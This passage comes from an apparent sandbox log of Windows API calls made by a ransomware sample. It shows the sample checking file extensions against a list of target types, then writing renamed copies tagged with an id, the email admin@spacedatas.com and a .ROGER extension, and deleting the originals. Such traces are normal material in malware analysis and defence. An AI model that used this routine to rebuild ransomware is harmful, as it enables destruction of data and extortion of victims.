Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0041.909] lstrlenW (lpString=".jpg") returned 4 [0041.909] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0041.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0041.909] lstrlenW (lpString=".doc") returned 4 [0041.909] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.909] lstrlenW (lpString=".docx") returned 5 [0041.909] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0041.909] lstrlenW (lpString=".pdf") returned 4 [0041.909] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.909] lstrlenW (lpString=".xls") returned 4 [0041.909] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.909] lstrlenW (lpString=".xlsx") returned 5 [0041.909] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0041.910] lstrlenW (lpString=".ppt") returned 4 [0041.910] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0041.910] lstrlenW (lpString=".zip") returned 4 [0041.910] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.910] lstrlenW (lpString=".rar") returned 4 [0041.910] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.910] lstrlenW (lpString=".bz2") returned 4 [0041.910] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.910] lstrlenW (lpString=".7z") returned 3 [0041.910] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0041.910] lstrlenW (lpString=".dbf") returned 4 [0041.910] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0041.910] lstrlenW (lpString=".1cd") returned 4 [0041.910] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0041.910] lstrlenW (lpString=".jpg") returned 4 [0041.910] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.910] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0041.910] lstrlenW (lpString="keypad.xml") returned 10 [0041.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0042.035] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=727) returned 1 [0042.035] CloseHandle (hObject=0x398) returned 1 [0042.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0042.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0042.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0042.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0042.054] lstrlenW (lpString=".doc") returned 4 [0042.056] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.056] lstrlenW (lpString=".docx") returned 5 [0042.059] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0042.060] lstrlenW (lpString=".pdf") returned 4 [0042.060] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.060] lstrlenW (lpString=".xls") returned 4 [0042.063] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.063] lstrlenW (lpString=".xlsx") returned 5 [0042.063] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0042.063] lstrlenW (lpString=".ppt") returned 4 [0042.063] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0042.063] lstrlenW (lpString=".zip") returned 4 [0042.063] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.063] lstrlenW (lpString=".rar") returned 4 [0042.064] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.064] lstrlenW (lpString=".bz2") returned 4 [0042.064] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.064] lstrlenW (lpString=".7z") returned 3 [0042.064] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0042.064] lstrlenW (lpString=".dbf") returned 4 [0042.064] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0042.064] lstrlenW (lpString=".1cd") returned 4 [0042.064] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0042.064] lstrlenW (lpString=".jpg") returned 4 [0042.064] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0042.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0042.064] lstrlenW (lpString=".doc") returned 4 [0042.064] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.064] lstrlenW (lpString=".docx") returned 5 [0042.064] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0042.064] lstrlenW (lpString=".pdf") returned 4 [0042.064] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.064] lstrlenW (lpString=".xls") returned 4 [0042.064] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.064] lstrlenW (lpString=".xlsx") returned 5 [0042.064] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0042.064] lstrlenW (lpString=".ppt") returned 4 [0042.064] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0042.064] lstrlenW (lpString=".zip") returned 4 [0042.064] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.064] lstrlenW (lpString=".rar") returned 4 [0042.065] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.065] lstrlenW (lpString=".bz2") returned 4 [0042.065] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.065] lstrlenW (lpString=".7z") returned 3 [0042.065] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0042.065] lstrlenW (lpString=".dbf") returned 4 [0042.065] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0042.065] lstrlenW (lpString=".1cd") returned 4 [0042.065] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0042.065] lstrlenW (lpString=".jpg") returned 4 [0042.065] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.065] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0042.065] lstrlenW (lpString="ipsnld.xml") returned 10 [0042.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0042.719] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=2626) returned 1 [0042.719] CloseHandle (hObject=0x35c) returned 1 [0042.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0042.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0042.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0042.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0042.720] lstrlenW (lpString=".doc") returned 4 [0042.720] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.720] lstrlenW (lpString=".docx") returned 5 [0042.720] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0042.720] lstrlenW (lpString=".pdf") returned 4 [0042.720] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.720] lstrlenW (lpString=".xls") returned 4 [0042.720] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.720] lstrlenW (lpString=".xlsx") returned 5 [0042.720] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0042.720] lstrlenW (lpString=".ppt") returned 4 [0042.720] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0042.720] lstrlenW (lpString=".zip") returned 4 [0042.720] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.720] lstrlenW (lpString=".rar") returned 4 [0042.720] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.720] lstrlenW (lpString=".bz2") returned 4 [0042.720] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.720] lstrlenW (lpString=".7z") returned 3 [0042.720] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0042.720] lstrlenW (lpString=".dbf") returned 4 [0042.720] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0042.720] lstrlenW (lpString=".1cd") returned 4 [0042.720] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0042.721] lstrlenW (lpString=".jpg") returned 4 [0042.721] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0042.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0042.721] lstrlenW (lpString=".doc") returned 4 [0042.721] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.721] lstrlenW (lpString=".docx") returned 5 [0042.721] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0042.721] lstrlenW (lpString=".pdf") returned 4 [0042.721] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.721] lstrlenW (lpString=".xls") returned 4 [0042.721] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.721] lstrlenW (lpString=".xlsx") returned 5 [0042.721] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0042.721] lstrlenW (lpString=".ppt") returned 4 [0042.721] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0042.721] lstrlenW (lpString=".zip") returned 4 [0042.721] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.721] lstrlenW (lpString=".rar") returned 4 [0042.721] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.721] lstrlenW (lpString=".bz2") returned 4 [0042.721] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.721] lstrlenW (lpString=".7z") returned 3 [0042.721] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0042.721] lstrlenW (lpString=".dbf") returned 4 [0042.721] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0042.721] lstrlenW (lpString=".1cd") returned 4 [0042.721] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0042.722] lstrlenW (lpString=".jpg") returned 4 [0042.722] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.722] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0042.722] lstrlenW (lpString="SETUP.XML") returned 9 [0042.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0042.788] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=2624) returned 1 [0042.788] CloseHandle (hObject=0x39c) returned 1 [0042.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0042.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0042.788] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.788] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0042.788] GetLastError () returned 0x0 [0042.788] ReadFile (in: hFile=0x39c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0xa40, lpOverlapped=0x0) returned 1 [0042.877] WriteFile (in: hFile=0x3a0, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0042.878] ReadFile (in: hFile=0x39c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.878] WriteFile (in: hFile=0x3a0, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.878] SetEndOfFile (hFile=0x3a0) returned 1 [0042.878] CloseHandle (hObject=0x3a0) returned 1 [0042.879] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.879] SetEndOfFile (hFile=0x39c) returned 1 [0042.880] CloseHandle (hObject=0x39c) returned 1 [0042.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0042.880] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1 [0042.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0042.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0042.880] lstrlenW (lpString=".doc") returned 4 [0042.880] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.881] lstrlenW (lpString=".docx") returned 5 [0042.881] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0042.881] lstrlenW (lpString=".pdf") returned 4 [0042.881] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.881] lstrlenW (lpString=".xls") returned 4 [0042.881] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.881] lstrlenW (lpString=".xlsx") returned 5 [0042.881] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0042.881] lstrlenW (lpString=".ppt") returned 4 [0042.881] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0042.881] lstrlenW (lpString=".zip") returned 4 [0042.881] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.881] lstrlenW (lpString=".rar") returned 4 [0042.881] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.881] lstrlenW (lpString=".bz2") returned 4 [0042.881] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.881] lstrlenW (lpString=".7z") returned 3 [0042.881] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0042.881] lstrlenW (lpString=".dbf") returned 4 [0042.881] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0042.881] lstrlenW (lpString=".1cd") returned 4 [0042.881] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0042.881] lstrlenW (lpString=".jpg") returned 4 [0042.881] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0042.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0042.881] lstrlenW (lpString=".doc") returned 4 [0042.882] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.882] lstrlenW (lpString=".docx") returned 5 [0042.882] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0042.882] lstrlenW (lpString=".pdf") returned 4 [0042.882] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.882] lstrlenW (lpString=".xls") returned 4 [0042.882] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.882] lstrlenW (lpString=".xlsx") returned 5 [0042.882] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0042.882] lstrlenW (lpString=".ppt") returned 4 [0042.882] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0042.882] lstrlenW (lpString=".zip") returned 4 [0042.882] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.882] lstrlenW (lpString=".rar") returned 4 [0042.882] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.882] lstrlenW (lpString=".bz2") returned 4 [0042.882] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.882] lstrlenW (lpString=".7z") returned 3 [0042.882] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0042.882] lstrlenW (lpString=".dbf") returned 4 [0042.882] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0042.882] lstrlenW (lpString=".1cd") returned 4 [0042.882] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0042.882] lstrlenW (lpString=".jpg") returned 4 [0042.882] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.882] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0042.883] lstrlenW (lpString="BRANDING.XML") returned 12 [0042.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0043.049] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=596341) returned 1 [0043.049] CloseHandle (hObject=0x3a0) returned 1 [0043.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0043.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0043.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0043.061] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.061] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0043.075] GetLastError () returned 0x0 [0043.075] ReadFile (in: hFile=0x3a0, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x91975, lpOverlapped=0x0) returned 1 [0043.104] WriteFile (in: hFile=0x3b8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0043.665] ReadFile (in: hFile=0x3a0, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, 